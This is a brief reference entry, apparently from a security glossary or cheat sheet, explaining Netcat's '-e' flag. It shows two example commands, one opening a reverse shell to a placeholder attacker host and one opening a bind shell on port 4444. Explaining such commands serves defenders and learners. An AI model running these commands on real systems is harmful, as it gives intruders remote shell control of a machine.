nc -e

0001-01-01

The -e flag in some Netcat implementations allows the user to specificy a command that gets executed within the session.

For example, an attacker may use this command to establish a reverse shell:

nc -e /bin/bash ATTACKER_IP ATTACKER_PORT

Or this to establish a bind shell on port 4444:

nc -e /bin/bash -lvp 4444
